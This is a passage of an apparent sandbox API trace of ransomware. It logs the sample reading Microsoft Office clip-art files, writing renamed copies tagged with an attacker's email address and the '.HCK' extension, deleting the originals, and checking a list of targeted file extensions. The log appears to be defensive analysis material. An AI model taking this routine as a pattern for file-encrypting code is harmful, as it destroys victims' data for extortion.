nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2358, lpOverlapped=0x0) returned 1 [0233.187] WriteFile (in: hFile=0x4b4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2360, lpOverlapped=0x0) returned 1 [0233.187] ReadFile (in: hFile=0x4c8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.187] WriteFile (in: hFile=0x4b4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.187] SetEndOfFile (hFile=0x4b4) returned 1 [0233.188] CloseHandle (hObject=0x4b4) returned 1 [0233.188] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.188] SetEndOfFile (hFile=0x4c8) returned 1 [0233.189] CloseHandle (hObject=0x4c8) returned 1 [0233.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0233.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.191] lstrlenW (lpString=".doc") returned 4 [0233.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString=".docx") returned 5 [0233.191] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.191] lstrlenW (lpString=".pdf") returned 4 [0233.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString=".xls") returned 4 [0233.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.191] lstrlenW (lpString=".xlsx") returned 5 [0233.191] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.191] lstrlenW (lpString=".ppt") returned 4 [0233.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.191] lstrlenW (lpString=".zip") returned 4 [0233.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.191] lstrlenW (lpString=".rar") returned 4 [0233.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString=".bz2") returned 4 [0233.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString=".7z") returned 3 [0233.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.191] lstrlenW (lpString=".dbf") returned 4 [0233.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.191] lstrlenW (lpString=".1cd") returned 4 [0233.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.191] lstrlenW (lpString=".jpg") returned 4 [0233.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.191] lstrlenW (lpString=".doc") returned 4 [0233.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.191] lstrlenW (lpString=".docx") returned 5 [0233.191] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.192] lstrlenW (lpString=".pdf") returned 4 [0233.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.192] lstrlenW (lpString=".xls") returned 4 [0233.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.192] lstrlenW (lpString=".xlsx") returned 5 [0233.192] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.192] lstrlenW (lpString=".ppt") returned 4 [0233.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.192] lstrlenW (lpString=".zip") returned 4 [0233.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.192] lstrlenW (lpString=".rar") returned 4 [0233.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.192] lstrlenW (lpString=".bz2") returned 4 [0233.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.192] lstrlenW (lpString=".7z") returned 3 [0233.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.192] lstrlenW (lpString=".dbf") returned 4 [0233.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.192] lstrlenW (lpString=".1cd") returned 4 [0233.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0233.192] lstrlenW (lpString=".jpg") returned 4 [0233.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.192] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.192] lstrlenW (lpString="J0107090.WMF") returned 12 [0233.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.193] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=14132) returned 1 [0233.193] CloseHandle (hObject=0x4c8) returned 1 [0233.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220 [0233.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.193] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.193] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.194] GetLastError () returned 0x0 [0233.194] ReadFile (in: hFile=0x4c8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3734, lpOverlapped=0x0) returned 1 [0233.196] WriteFile (in: hFile=0x4b4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3740, lpOverlapped=0x0) returned 1 [0233.197] ReadFile (in: hFile=0x4c8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.197] WriteFile (in: hFile=0x4b4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.197] SetEndOfFile (hFile=0x4b4) returned 1 [0233.197] CloseHandle (hObject=0x4b4) returned 1 [0233.197] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.197] SetEndOfFile (hFile=0x4c8) returned 1 [0233.199] CloseHandle (hObject=0x4c8) returned 1 [0233.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0233.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.200] lstrlenW (lpString=".doc") returned 4 [0233.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.200] lstrlenW (lpString=".docx") returned 5 [0233.200] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.200] lstrlenW (lpString=".pdf") returned 4 [0233.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.200] lstrlenW (lpString=".xls") returned 4 [0233.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.201] lstrlenW (lpString=".xlsx") returned 5 [0233.201] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.201] lstrlenW (lpString=".ppt") returned 4 [0233.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.201] lstrlenW (lpString=".zip") returned 4 [0233.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.201] lstrlenW (lpString=".rar") returned 4 [0233.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString=".bz2") returned 4 [0233.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString=".7z") returned 3 [0233.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.201] lstrlenW (lpString=".dbf") returned 4 [0233.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.201] lstrlenW (lpString=".1cd") returned 4 [0233.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.201] lstrlenW (lpString=".jpg") returned 4 [0233.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.201] lstrlenW (lpString=".doc") returned 4 [0233.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString=".docx") returned 5 [0233.201] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.201] lstrlenW (lpString=".pdf") returned 4 [0233.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString=".xls") returned 4 [0233.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.201] lstrlenW (lpString=".xlsx") returned 5 [0233.201] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.201] lstrlenW (lpString=".ppt") returned 4 [0233.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.202] lstrlenW (lpString=".zip") returned 4 [0233.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.202] lstrlenW (lpString=".rar") returned 4 [0233.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.202] lstrlenW (lpString=".bz2") returned 4 [0233.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.202] lstrlenW (lpString=".7z") returned 3 [0233.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.202] lstrlenW (lpString=".dbf") returned 4 [0233.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.202] lstrlenW (lpString=".1cd") returned 4 [0233.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0233.202] lstrlenW (lpString=".jpg") returned 4 [0233.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.202] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.202] lstrlenW (lpString="J0107130.WMF") returned 12 [0233.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.203] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=27084) returned 1 [0233.203] CloseHandle (hObject=0x4c8) returned 1 [0233.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220 [0233.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.204] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.204] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.204] GetLastError () returned 0x0 [0233.204] ReadFile (in: hFile=0x4c8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x69cc, lpOverlapped=0x0) returned 1 [0233.345] WriteFile (in: hFile=0x4b4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x69d0, lpOverlapped=0x0) returned 1 [0233.346] ReadFile (in: hFile=0x4c8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.346] WriteFile (in: hFile=0x4b4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.346] SetEndOfFile (hFile=0x4b4) returned 1 [0233.346] CloseHandle (hObject=0x4b4) returned 1 [0233.346] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.346] SetEndOfFile (hFile=0x4c8) returned 1 [0233.349] CloseHandle (hObject=0x4c8) returned 1 [0233.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0233.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.631] lstrlenW (lpString=".doc") returned 4 [0233.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.631] lstrlenW (lpString=".docx") returned 5 [0233.631] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.631] lstrlenW (lpString=".pdf") returned 4 [0233.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.631] lstrlenW (lpString=".xls") returned 4 [0233.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.631] lstrlenW (lpString=".xlsx") returned 5 [0233.631] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.631] lstrlenW (lpString=".ppt") returned 4 [0233.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.631] lstrlenW (lpString=".zip") returned 4 [0233.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.631] lstrlenW (lpString=".rar") returned 4 [0233.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString=".bz2") returned 4 [0233.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString=".7z") returned 3 [0233.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.632] lstrlenW (lpString=".dbf") returned 4 [0233.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.632] lstrlenW (lpString=".1cd") returned 4 [0233.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.632] lstrlenW (lpString=".jpg") returned 4 [0233.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.632] lstrlenW (lpString=".doc") returned 4 [0233.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString=".docx") returned 5 [0233.632] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.632] lstrlenW (lpString=".pdf") returned 4 [0233.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString=".xls") returned 4 [0233.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.632] lstrlenW (lpString=".xlsx") returned 5 [0233.632] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.632] lstrlenW (lpString=".ppt") returned 4 [0233.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.632] lstrlenW (lpString=".zip") returned 4 [0233.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.632] lstrlenW (lpString=".rar") returned 4 [0233.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.632] lstrlenW (lpString=".bz2") returned 4 [0233.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.633] lstrlenW (lpString=".7z") returned 3 [0233.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.633] lstrlenW (lpString=".dbf") returned 4 [0233.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.633] lstrlenW (lpString=".1cd") returned 4 [0233.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0233.633] lstrlenW (lpString=".jpg") returned 4 [0233.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.633] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.633] lstrlenW (lpString="J0107262.WMF") returned 12 [0233.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.633] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7996) returned 1 [0233.633] CloseHandle (hObject=0x4cc) returned 1 [0233.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220 [0233.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.634] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.634] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.635] GetLastError () returned 0x0 [0233.635] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1f3c, lpOverlapped=0x0) returned 1 [0233.636] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1f40, lpOverlapped=0x0) returned 1 [0233.637] ReadFile (in: 